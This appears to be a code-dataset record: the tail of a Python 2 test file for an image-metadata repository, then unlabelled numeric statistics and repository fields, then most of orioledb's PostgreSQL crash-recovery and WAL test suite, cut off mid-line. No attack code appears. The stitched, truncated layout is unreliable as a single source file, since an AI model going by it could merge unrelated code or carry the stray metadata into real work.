domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) found_item = self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('MYID12435', (100, 100), 'JPEG2') assert found_item is None def test_should_not_save_two_original_image_metadatas_with_same_id(self): item = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) item2 = domain.OriginalImageMetadata('MYID12435', domain.STATUS_INCONSISTENT, (700, 100), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(item) try: self._itemRepository.add(item2) except domain.DuplicateEntryException, ex: assert 'MYID12435' == ex.duplicate_id else: self.fail() def test_should_not_save_two_derived_image_metadatas_with_same_id(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) try: item2 = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item2) except domain.DuplicateEntryException as ex: assert 'MYID12435-100x100-JPEG' == ex.duplicate_id except Exception as e: print e else: self.fail() def test_should_find_inconsistent_original_image_metadatas(self): for i in range(1, 15): item = domain.OriginalImageMetadata('MYID%s' % i, domain.STATUS_INCONSISTENT, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(item) for i in range(16, 20): item = domain.OriginalImageMetadata('MYID%s' % i, domain.STATUS_OK, (900, 400), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(item) items = self._itemRepository.find_inconsistent_original_image_metadatas(10) assert len(items) == 10 for i in items: assert i.id in ['MYID%s' % n for n in range(1, 15) ] assert i.status == domain.STATUS_INCONSISTENT assert i.width == 800 assert i.height == 600 assert i.format == domain.IMAGE_FORMAT_JPEG def test_should_find_inconsistent_derived_image_metadatas(self): for i in range(1, 15): original_image_metadata = domain.OriginalImageMetadata('MYID%s' % i, domain.STATUS_INCONSISTENT, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_INCONSISTENT, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) for i in range(16, 20): original_image_metadata = domain.OriginalImageMetadata('MYID%s' % i, domain.STATUS_OK, (900, 400), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) items = self._itemRepository.find_inconsistent_derived_image_metadatas(10) assert len(items) == 10 for i in items: assert i.id in ['MYID%s-100x100-JPEG' % n for n in range(1, 15) ] assert i.status == domain.STATUS_INCONSISTENT assert i.width == 100 assert i.height == 100 assert i.format == domain.IMAGE_FORMAT_JPEG def _datetimes_should_be_equal(datetime1, datetime2): delta = datetime1 - datetime2 assert delta.days == 0 assert delta.seconds == 0

57.488462

184

0.737606

1,829

14,947

5.629306

0.08912

0.119949

0.155012

0.097902

0.866064

0.842852

0.818085

0.807207

0.79021

0.772436

0

0.04443

0.18686

14,947

259

185

57.710425

0.802699

0.002208

0

0.65285

0

0.028907

0.001536

0

0.321244

0

null

0

0.015544

null

0.005181

0

null

0

1

0

null

0

1

0

7

b2bc61b4d74102bad75937c7ab731e64f021ce6e

47,910

py

Python

t/recovery_test.py

warmchang/orioledb

9aed798dbccb315b69e097a34659c1053fdd26b2

[ "PostgreSQL" ]

null

t/recovery_test.py

warmchang/orioledb

9aed798dbccb315b69e097a34659c1053fdd26b2

[ "PostgreSQL" ]

null

t/recovery_test.py

warmchang/orioledb

9aed798dbccb315b69e097a34659c1053fdd26b2

[ "PostgreSQL" ]

null

#!/usr/bin/env python3 # coding: utf-8 import unittest import testgres import string import random from .base_test import BaseTest from .base_test import ThreadQueryExecutor from .base_test import generate_string from .base_test import wait_stopevent from .base_test import wait_checkpointer_stopevent from testgres.enums import NodeStatus class RecoveryTest(BaseTest): def setUp(self): super().setUp() self.node.append_conf('postgresql.conf', "log_min_messages = notice\n") def checkpoint_simple_base(self, compressed): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( id integer NOT NULL, val text, PRIMARY KEY (id) %s ) USING orioledb; INSERT INTO o_test (SELECT id, id || 'val' FROM generate_series(1, 10000, 1) id); """ % ("WITH (compress)" if compressed else "") ) node.safe_psql('postgres', "CHECKPOINT;") self.assertTrue(node.execute("SELECT orioledb_tbl_check('o_test'::regclass);")[0][0]) node.safe_psql('postgres', "UPDATE o_test SET val = 'xxx' WHERE id % 1000 = 0;") node.safe_psql('postgres', "CHECKPOINT;") self.assertTrue(node.execute("SELECT orioledb_tbl_check('o_test'::regclass);")[0][0]) node.safe_psql('postgres', "CHECKPOINT;") self.assertTrue(node.execute("SELECT orioledb_tbl_check('o_test'::regclass);")[0][0]) node.stop() # stop PostgreSQL def test_checkpoint_simple(self): self.checkpoint_simple_base(False) def test_checkpoint_compress_simple(self): self.checkpoint_simple_base(True) def checkpoint_multiple_base(self, compressed): node = self.node node.append_conf('postgresql.conf', "shared_preload_libraries = orioledb\n") node.start() # start PostgreSQL node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( key int NOT NULL, value int NOT NULL, PRIMARY KEY (key) ) USING orioledb %s; INSERT INTO o_test (SELECT i, i + 1 FROM generate_series(1, 10000, 1) i); """ % ("WITH (primary_compress)" if compressed else "") ) node.safe_psql('postgres', "CHECKPOINT;") node.safe_psql('postgres', "UPDATE o_test SET value = value + 1 WHERE key % 10 = 0;") node.stop(['-m', 'immediate']) node.start() node.safe_psql('postgres', "CHECKPOINT;") self.assertEqual( node.execute('postgres', "SELECT orioledb_tbl_check('o_test'::regclass);")[0][0], True) node.safe_psql('postgres', "UPDATE o_test SET value = value + 1 WHERE key % 10 = 0;") node.stop(['-m', 'immediate']) node.start() node.safe_psql('postgres', "CHECKPOINT;") self.assertEqual( node.execute('postgres', "SELECT orioledb_tbl_check('o_test'::regclass);")[0][0], True) node.safe_psql('postgres', "UPDATE o_test SET value = value + 1 WHERE key % 10 = 0;") self.assertEqual( node.execute('postgres', "SELECT value FROM o_test WHERE key = 10;")[0][0], 14) self.assertEqual( node.execute('postgres', "SELECT orioledb_tbl_check('o_test'::regclass);")[0][0], True) node.safe_psql('postgres', "UPDATE o_test SET value = value + 1 WHERE key % 10 = 0;") node.safe_psql('postgres', "CHECKPOINT;") node.stop(['-m', 'immediate']) node.start() self.assertEqual( node.execute('postgres', "SELECT value FROM o_test WHERE key = 10;")[0][0], 15) self.assertEqual( node.execute('postgres', "SELECT orioledb_tbl_check('o_test'::regclass);")[0][0], True) node.stop() def test_checkpoint_multiple(self): self.checkpoint_multiple_base(False) def test_checkpoint_compress_multiple(self): self.checkpoint_multiple_base(True) def test_checkpoint_simple_in_progress(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text\n" ") USING orioledb;\n" "INSERT INTO o_test\n" " (SELECT id, id || 'val' FROM generate_series(1, 100, 1) id);\n" ) con1 = node.connect() con1.execute("INSERT INTO o_test (SELECT id, id || 'val' FROM generate_series(101, 200, 1) id);") node.safe_psql('postgres', "CHECKPOINT;") con1.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual(node.execute('postgres', 'SELECT count(*) FROM o_test;')[0][0], 100) node.stop() def test_primary_xip_secondary_tuples_insert(self): node = self.node node.append_conf('postgresql.conf', "orioledb.enable_stopevents = true\n") node.start() node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( id integer NOT NULL, id2 integer NOT NULL, id3 integer NOT NULL, PRIMARY KEY (id) ) USING orioledb; CREATE UNIQUE INDEX o_test_ix1 ON o_test (id2); CREATE INDEX o_test_ix2 ON o_test (id3); """) con1 = node.connect() con2 = node.connect() con1.begin() con1.execute("INSERT INTO o_test (SELECT id, id + 1, id + 3 FROM generate_series(1, 100, 1) id);") con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test_ix1\"');") t1 = ThreadQueryExecutor(con2, "CHECKPOINT;") t1.start() wait_checkpointer_stopevent(node) con1.commit() con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');") t1.join() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual(100, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(100, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(100, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.execute("DELETE FROM o_test;") self.assertEqual(0, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.stop() def test_primary_xip_secondary_tuples_delete(self): node = self.node node.append_conf('postgresql.conf', "orioledb.enable_stopevents = true\n") node.start() node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( id integer NOT NULL, id2 integer NOT NULL, id3 integer NOT NULL, PRIMARY KEY (id) ) USING orioledb; CREATE UNIQUE INDEX o_test_ix1 ON o_test (id2); CREATE INDEX o_test_ix2 ON o_test (id3); """) con1 = node.connect() con2 = node.connect() con1.begin() con1.execute("INSERT INTO o_test (SELECT id, id + 1, id + 3 FROM generate_series(1, 100, 1) id);") con1.commit() con1.begin() con1.execute("DELETE FROM o_test WHERE mod(id, 5) = 0;") con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test_ix1\"');") t1 = ThreadQueryExecutor(con2, "CHECKPOINT;") t1.start() wait_checkpointer_stopevent(node) con1.commit() con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');") t1.join() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual(80, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(80, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(80, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.execute("DELETE FROM o_test;") self.assertEqual(0, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.stop() def test_primary_xip_secondary_tuples_update(self): node = self.node node.append_conf('postgresql.conf', "orioledb.enable_stopevents = true\n") node.start() node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( id integer NOT NULL, id2 integer NOT NULL, id3 integer NOT NULL, PRIMARY KEY (id) ) USING orioledb; CREATE UNIQUE INDEX o_test_ix1 ON o_test (id2); CREATE INDEX o_test_ix2 ON o_test (id3); """) con1 = node.connect() con2 = node.connect() con1.begin() con1.execute("INSERT INTO o_test (SELECT id, id + 1, id + 3 FROM generate_series(1, 100, 1) id);") con1.commit() con1.begin() con1.execute("UPDATE o_test SET id = id + 100 WHERE mod(id, 10) = 0;") con1.execute("UPDATE o_test SET id2 = id2 + 100 WHERE mod(id, 3) = 0;") con1.execute("UPDATE o_test SET id3 = id3 + 100 WHERE mod(id, 4) = 0;") con1.execute("UPDATE o_test SET id = id + 100, id2 = id2 + 100, id3 = id3 + 100 WHERE mod(id, 7) = 0;") con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test_ix1\"');") t1 = ThreadQueryExecutor(con2, "CHECKPOINT;") t1.start() wait_checkpointer_stopevent(node) con1.commit() con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');") t1.join() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual(100, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(100, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(100, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.execute("DELETE FROM o_test;") self.assertEqual(0, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.stop() def test_primary_xip_secondary_tuples_mix(self): node = self.node node.append_conf('postgresql.conf', "orioledb.enable_stopevents = true\n") node.start() node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( id integer NOT NULL, id2 integer NOT NULL, id3 integer NOT NULL, PRIMARY KEY (id) ) USING orioledb; CREATE UNIQUE INDEX o_test_ix1 ON o_test (id2); CREATE INDEX o_test_ix2 ON o_test (id3); """) # insert-update-delete-commit con1 = node.connect() con2 = node.connect() con1.begin() con1.execute("INSERT INTO o_test (SELECT id, id + 1, id + 3 FROM generate_series(1, 10, 1) id);") con1.execute("UPDATE o_test SET id3 = id3 + 1 WHERE id < 5") con1.execute("DELETE FROM o_test WHERE id > 5;") con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test_ix1\"');") t1 = ThreadQueryExecutor(con2, "CHECKPOINT;") t1.start() wait_checkpointer_stopevent(node) con1.commit() con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');") t1.join() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual("[(1, 2, 5), (2, 3, 6), (3, 4, 7), (4, 5, 8), (5, 6, 8)]", str(node.execute("SELECT * FROM o_test;"))) self.assertEqual(5, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(5, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(5, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.execute("DELETE FROM o_test;") self.assertEqual(0, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.stop() node.start() # insert-update-delete-rollback con1 = node.connect() con2 = node.connect() con1.execute("INSERT INTO o_test (SELECT id, id + 1, id + 3 FROM generate_series(1, 10, 1) id);") con1.execute("UPDATE o_test SET id3 = id3 + 1 WHERE id < 5") con1.execute("DELETE FROM o_test WHERE id > 5;") con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test_ix1\"');") t1 = ThreadQueryExecutor(con2, "CHECKPOINT;") t1.start() wait_checkpointer_stopevent(node) con1.rollback() con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');") t1.join() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual(0, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.stop() def test_primary_empty_secondary_tuples(self): node = self.node node.append_conf('postgresql.conf', "orioledb.enable_stopevents = true\n") node.start() node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( id integer NOT NULL, id2 integer NOT NULL, id3 integer NOT NULL, PRIMARY KEY (id) ) USING orioledb; CREATE UNIQUE INDEX o_test_ix1 ON o_test (id2); CREATE INDEX o_test_ix2 ON o_test (id3); """) # insert-update-delete-commit con1 = node.connect() con2 = node.connect() con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test_ix1\"');") t1 = ThreadQueryExecutor(con2, "CHECKPOINT;") t1.start() wait_checkpointer_stopevent(node) con1.begin() con1.execute("INSERT INTO o_test (SELECT id, id + 1, id + 3 FROM generate_series(1, 10, 1) id);") con1.commit() con1.begin() con1.execute("UPDATE o_test SET id3 = id3 + 1 WHERE id < 5") con1.commit() con1.begin() con1.execute("DELETE FROM o_test WHERE id > 5;") con1.commit() con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');"); t1.join() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual("[(1, 2, 5), (2, 3, 6), (3, 4, 7), (4, 5, 8), (5, 6, 8)]", str(node.execute("SELECT * FROM o_test;"))) self.assertEqual(5, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(5, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(5, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.execute("DELETE FROM o_test;") self.assertEqual(0, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id2) t;")[0][0]) self.assertEqual(0, node.execute("SELECT COUNT(*) FROM (SELECT * FROM o_test ORDER BY id3) t;")[0][0]) node.stop() def test_wal_truncate(self): node = self.node node.start() node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n") node.safe_psql("INSERT INTO o_test\n" "(SELECT id, id || 'val' FROM generate_series(1, 100, 1) id);\n") node.safe_psql("TRUNCATE o_test;") node.safe_psql("INSERT INTO o_test\n" "(SELECT id, id || 'val' FROM generate_series(101, 200, 1) id);\n") node.stop(['-m', 'immediate']) node.start() self.assertEqual(15050, node.execute("SELECT SUM(id) FROM o_test;")[0][0]) node.stop() def test_wal_without_checkpoint(self): node = self.node node.start() node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n" "TRUNCATE o_test;\n") node.safe_psql("INSERT INTO o_test\n" "(SELECT id, id || 'val' FROM generate_series(1, 100, 1) id);\n") node.stop(['-m', 'immediate']) node.start() self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test LIMIT 8;')), "[(1, '1val'), (2, '2val'), (3, '3val'), (4, '4val'), (5, '5val'), (6, '6val'), (7, '7val'), (8, '8val')]") self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 1 and 8;')), "[(1, '1val'), (2, '2val'), (3, '3val'), (4, '4val'), (5, '5val'), (6, '6val'), (7, '7val'), (8, '8val')]") node.stop() def test_wal_simple(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text\n" ") USING orioledb;\n" "INSERT INTO o_test\n" " (SELECT id, id || 'val' FROM generate_series(1, 1000, 1) id);\n" ) node.safe_psql('postgres', 'CHECKPOINT;') con1 = node.connect() con1.begin() con1.execute("UPDATE o_test SET val = 'xxx1' WHERE id = 1;") con1.execute("DELETE FROM o_test WHERE id = 2;") con1.execute("INSERT INTO o_test VALUES (1001, 'xxx2');") con2 = node.connect() con2.execute("UPDATE o_test SET val = 'yyy1' WHERE id = 3;") con2.execute("DELETE FROM o_test WHERE id = 4;") con2.execute("INSERT INTO o_test VALUES (1002, 'yyy2');") node.safe_psql('postgres', 'CHECKPOINT;') con1.execute("INSERT INTO o_test VALUES (1003, 'zzz1');") con2.execute("INSERT INTO o_test VALUES (1004, 'zzz2');") con1.commit() con2.rollback() con1.begin() con2.begin() con1.execute("UPDATE o_test SET val = 'xxx3' WHERE id = 5;") con2.execute("UPDATE o_test SET val = 'yyy3' WHERE id = 6;") con1.execute("DELETE FROM o_test WHERE id = 7;") con2.execute("DELETE FROM o_test WHERE id = 8;") con1.execute("INSERT INTO o_test VALUES (1005, 'zzz3');") con2.execute("INSERT INTO o_test VALUES (1006, 'zzz4');") con1.rollback() con2.commit() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 1 and 8;')), "[(1, 'xxx1'), (3, '3val'), (4, '4val'), (5, '5val'), (6, 'yyy3'), (7, '7val')]") self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id > 1000;')), "[(1001, 'xxx2'), (1003, 'zzz1'), (1006, 'zzz4')]") node.stop() # stop PostgreSQL def test_wal_update_pk(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " secid integer NOT NULL,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n" "INSERT INTO o_test\n" " (SELECT id, id + 1 FROM generate_series(1, 1000, 1) id);\n" ) node.safe_psql('postgres', "CHECKPOINT;\n" "UPDATE o_test SET id = -1 WHERE id = 1;" ) node.stop(['-m', 'immediate']) node.start() self.assertEqual( str(node.execute('postgres', 'SELECT count(*), sum(id) FROM o_test;')), "[(1000, 500498)]") node.stop() # stop PostgreSQL def test_wal_update_sec_index(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " secid integer NOT NULL\n" ") USING orioledb;\n" "CREATE INDEX o_test_ix1 ON o_test (secid);" "INSERT INTO o_test\n" " (SELECT id, id + 1 FROM generate_series(1, 1000, 1) id);\n" ) node.safe_psql('postgres', 'CHECKPOINT;') con1 = node.connect() con1.begin() con1.execute("UPDATE o_test SET id = i.newId\n" "FROM (SELECT -1 * id as newId, secid FROM o_test WHERE secid >= 995) i\n" "WHERE i.secid = o_test.secid;\n") con1.commit() con1.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE secid >= 995;')), "[(-994, 995), (-995, 996), (-996, 997), (-997, 998), (-998, 999), (-999, 1000), (-1000, 1001)]") node.stop() def test_wal_update_unique_index(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " secid integer NOT NULL,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n" "CREATE UNIQUE INDEX o_test_ix1 ON o_test (secid);" "INSERT INTO o_test\n" " (SELECT id, id + 1 FROM generate_series(1, 1000, 1) id);\n" ) node.safe_psql('postgres', 'CHECKPOINT;') con1 = node.connect() con1.begin() con1.execute("UPDATE o_test SET id = i.newId\n" "FROM (SELECT -1 * id as newId, secid FROM o_test WHERE secid >= 995) i\n" "WHERE i.secid = o_test.secid;\n") con1.commit() con1.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE secid >= 995 ORDER BY secid;')), "[(-994, 995), (-995, 996), (-996, 997), (-997, 998), (-998, 999), (-999, 1000), (-1000, 1001)]") node.stop() def test_wal_two_trans_sec_index(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " secid integer NOT NULL\n" ") USING orioledb;\n" "CREATE INDEX o_test_ix1 ON o_test (secid);" "INSERT INTO o_test\n" " (SELECT id, id + 1 FROM generate_series(1, 1000, 1) id);\n" ) node.safe_psql('postgres', 'CHECKPOINT;') con1 = node.connect() con2 = node.connect() con1.begin() con2.begin() con1.execute("UPDATE o_test SET id = i.newId\n" "FROM (SELECT -1 * id as newId, secid FROM o_test WHERE secid >= 995) i\n" "WHERE i.secid = o_test.secid;\n") con1.execute("INSERT INTO o_test VALUES (1001, 1002);") con2.execute("INSERT INTO o_test VALUES (1002, 1003);") con1.execute("DELETE FROM o_test WHERE secid >= 990 and secid <= 992;") con1.execute("UPDATE o_test SET id = 1010 WHERE secid = 994;") con1.commit() con2.execute("DELETE FROM o_test WHERE secid >= 991 and secid <= 994;") con2.execute("UPDATE o_test SET id = 1020 WHERE secid = 995;") con2.rollback() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE secid >= 990;')), "[(992, 993), (1010, 994), (-994, 995), (-995, 996), (-996, 997), (-997, 998), (-998, 999), (-999, 1000), (-1000, 1001), (1001, 1002)]") node.stop() def test_subtrans(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( id integer NOT NULL, val text, PRIMARY KEY (id) ) USING orioledb; CREATE INDEX o_test_ix1 ON o_test (val); INSERT INTO o_test (SELECT id, id || 'val' FROM generate_series(1, 1000, 1) id); """ ) con1 = node.connect() con1.begin() con1.execute("UPDATE o_test SET val = 'xxx1' WHERE id = 1;") con1.execute("SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = 'xxx2' WHERE id = 2;") con1.execute("DELETE FROM o_test WHERE id = 1000;") con1.execute("INSERT INTO o_test VALUES (1001, 'xxx1001');") node.safe_psql('postgres', 'CHECKPOINT;') con1.execute("UPDATE o_test SET val = 'xxx3' WHERE id = 3;") con1.execute("ROLLBACK TO SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = 'xxx4' WHERE id = 4;") con1.execute("DELETE FROM o_test WHERE id = 999;") con1.execute("INSERT INTO o_test VALUES (1002, 'xxx1002');") con1.commit() con1.close() node.stop(['-m', 'immediate']) node.start() # start PostgreSQL self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 1 and 4;')), "[(1, 'xxx1'), (2, '2val'), (3, '3val'), (4, 'xxx4')]") self.assertEqual(node.execute('postgres', "SELECT id FROM o_test WHERE val = 'xxx4'")[0][0], 4) self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 999 and 1002;')), "[(1000, '1000val'), (1002, 'xxx1002')]") self.assertEqual(node.execute('postgres', "SELECT id FROM o_test WHERE val = 'xxx1002'")[0][0], 1002) node.stop() # stop PostgreSQL def test_subtrans_from_begin(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text,\n" " PRIMARY KEY (id)" ") USING orioledb;\n" "CREATE INDEX o_test_ix1 ON o_test (val);" "INSERT INTO o_test\n" " (SELECT id, id || 'val' FROM generate_series(1, 1000, 1) id);\n" ) con1 = node.connect() con1.begin() con1.execute("SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = 'xxx1' WHERE id = 1;") con1.execute("UPDATE o_test SET val = 'xxx2' WHERE id = 2;") con1.execute("DELETE FROM o_test WHERE id = 1000;") con1.execute("INSERT INTO o_test VALUES (1001, 'xxx1001');") node.safe_psql('postgres', 'CHECKPOINT;') con1.execute("UPDATE o_test SET val = 'xxx3' WHERE id = 3;") con1.execute("ROLLBACK TO SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = 'xxx4' WHERE id = 4;") con1.execute("DELETE FROM o_test WHERE id = 999;") con1.execute("INSERT INTO o_test VALUES (1002, 'xxx1002');") con1.commit() con1.close() node.stop(['-m', 'immediate']) node.start() # start PostgreSQL self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 1 and 4;')), "[(1, '1val'), (2, '2val'), (3, '3val'), (4, 'xxx4')]") self.assertEqual(node.execute('postgres', "SELECT id FROM o_test WHERE val = 'xxx4'")[0][0], 4) self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 999 and 1002;')), "[(1000, '1000val'), (1002, 'xxx1002')]") self.assertEqual(node.execute('postgres', "SELECT id FROM o_test WHERE val = 'xxx1002'")[0][0], 1002) node.stop() # stop PostgreSQL def test_wal_compression_simple(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text\n" ") USING orioledb;\n" ) initial = 'x' * 500 updated = 'y' * 700; inserted = 'z' * 